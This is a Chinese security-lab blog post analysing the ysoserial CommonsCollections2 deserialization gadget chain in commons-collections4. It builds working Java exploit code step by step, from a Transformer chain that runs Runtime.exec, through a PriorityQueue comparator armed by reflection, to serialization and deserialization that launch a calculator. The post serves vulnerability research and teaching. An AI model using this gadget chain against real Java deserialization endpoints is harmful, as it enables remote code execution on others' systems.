点击蓝字
关注我们
日期:2022-11-14 作者:ICDAT 介绍:这篇文章主要是对 ysoserial CommonsCollections 2
反序列化链分析。
0x00 前言
idea
新建一个maven
项目,pom.xml
中加入依赖。
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
</dependencies>
CommonsCollections 2
是基于commons-collections4
的。
这里需要说明一下,我们之前对CommonsCollections 5、CommonsCollections 6和CommonsCollections 1的分析都是基于commons-collections库的。
commons-collections4和commons-collections两者的关系的话,commons-collections4算是架构优化版的commons-collections。
既然架构有改动,那么代码有改动也是正常的,幸运的是commons-collections4上之前的利用链修改一下调用方法就可以跑通之前分析的调用。
这里不做过多分析,后续补充。
0x01 ysoserial payload
查看ysoserial
的payload
:
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
}
先不分析ysoserial
的利用,我们按照之前的思路,自己来写写,先提取CC2
的利用链。
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
对比一下CC1
的利用链。
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
两者对比,我们发现,CC2
没有使用我们之前分析CC5
、CC6
和CC1
的时候熟悉的LazyMap.get()
->ChainedTransformer.transform()
的调用,使用了一个 TransformingComparator.compare()
。
下面,我们来看一下这个方法。
0x02 TransformingComparator
org.apache.commons.collections4.comparators.TransformingComparator
实现了Serializable
和Comparator
接口。
查看其compare()
方法,其调用了transform()
方法。
CC1
的利用链,LazyMap.get()
也调用了transform()
方法。
查看其构造方法和属性。
两个构造方法:
属性值:
我们尝试来编写代码来实现计算器。
package ysoserial.payloads;
//这里使用的就是collections4库
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class TestCC2Setp1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
TransformingComparator tr = new TransformingComparator(chain);
tr.compare(1,2);
}
}
页面成功弹窗。
因为compare()
方法调用了两次transform
方法,所以会有两个计算器弹出。
类比CC1
中,我们要去找调用LazyMap.get()
的且存在readObject
调用的类,那现在需要的是找哪里调用了TransformingComparator.compare()
。
0x03 PriorityQueue
该类实现了Serializable
接口。
存在readObject
方法,并调用了heapify
方法。
heapify
方法调用了siftDown
方法。
siftDown
方法调用了siftDownUsingComparator
方法。
siftDownUsingComparator
方法调用了compartor.compare()
因为TransformingComparator
实现了Comparator
接口,所以上述调用链可利用。
为了编写相关利用代码,我们需要知道该类以及在调用链中的方法的作用,那么就是得了解一些前置的知识。
PriorityQueue是一个有限队列,他可以由用户指定优先级,通过comparator来实现。
heapify()方法大致作用是找寻最后一个非叶节点,然后倒序进行下移的siftDown操作。
siftDownUsingComparator()方法是在存在比较器的情况下,使用比较器进行大小比较,然后进行下移的操作。
compartor
为PriorityQueue
类属性,我们可以传入TransformingComparator
对象。这里我们已经给队列的元素指定了比较器。
根据上述条件,比较好构造的构造方法可以考虑下面的,使用指定的初始大小和比较器来构造一个优先队列。
ps:不使用只传入比较器的PriorityQueue
类对象构造方法是因为该方法指定了队列的初始化大小为11
。相比固定值,我们自己可选显然更方便。
既然存在比较大小,那么PriorityQueue
类对象的初始大小最小为2
,我们只需要往队列里面填充2
个元素即可。
根据以上条件,我们可以编写下列代码:
package ysoserial.payloads;
//这里使用的就是collections4库
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
public class TestCC2Setp2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
TransformingComparator tr = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(2, tr);
priorityQueue.add(1);
priorityQueue.add(2);
}
}
如果你直接运行,你就会发现,这段代码执行后直接弹窗了两个计算器。
按照上述的逻辑,这里没有调用序列化相关的代码,不应该现在触发弹窗。
后续进行调试发现了问题所在,在于PriorityQueue
对象的add()
方法。
上述代码的队列添加元素1
后未触发弹窗,添加元素2
后触发弹窗。
在add
方法处添加断点进行调试。
发现其调用offer
方法,且队列值大于1
时调用siftUp
方法。
siftUp
在比较器不为空的时候,调用siftUpUsingComparator
方法。
siftUpUsingComparator
方法调用compare
方法触发计算器。
这个问题也好解决,初始化时比较器时传入一个空Transformer
数组,在队列添加完元素后,通过反射修改队列的比较器的值为可执行弹窗的Transformer
数组。
这个过程类似在URLDNS
利用链的时候,解决HashMap.put()
触发DNS
查询的问题。
修改后的代码如下:
package ysoserial.payloads;
//这里使用的就是collections4库
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class TestCC2Setp2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//new空的Transformer
Transformer[] temp = {};
Transformer chain = new ChainedTransformer(temp);
//生成比较器
TransformingComparator tr = new TransformingComparator(chain);
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, tr);
priorityQueue.add(1);
priorityQueue.add(2);
//反射设置ChainedTransformer的值为需要执行的transformers
Field trans = chain.getClass().getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,transformers);
}
}
那么添加序列化和反序列后的完整代码如下:
package ysoserial.payloads;
//这里使用的就是collections4库
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//new空的Transformer
Transformer[] temp = {};
Transformer chain = new ChainedTransformer(temp);
//生成比较器
TransformingComparator tr = new TransformingComparator(chain);
//初始化队列并添加元素
PriorityQueue priorityQueue = new PriorityQueue(2, tr);
priorityQueue.add(1);
priorityQueue.add(2);
//反射设置ChainedTransformer的值为需要执行的transformers
Field trans = chain.getClass().getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,transformers);
serialize(priorityQueue);
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x04 结语
CC2
和之前分析的CC5
、CC1
和CC6
利用链不同,没有通过各种方法来调用LazyMap.get()
方法,而是通过找到了TransformingComparator.compare()
来进行’替换’。这就像一个利用链的分叉,最终都为了实现执行构造的命令。
同时不难发现, ysoserial
的payload
没有构造弹窗的Transformer
数组,这里的利用就放在下次再说了。
【2】PriorityQueue源码分析:
https://www.cnblogs.com/linghu-java/p/9467805.html
7月18日
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CommonsCollections 2 反序列化分析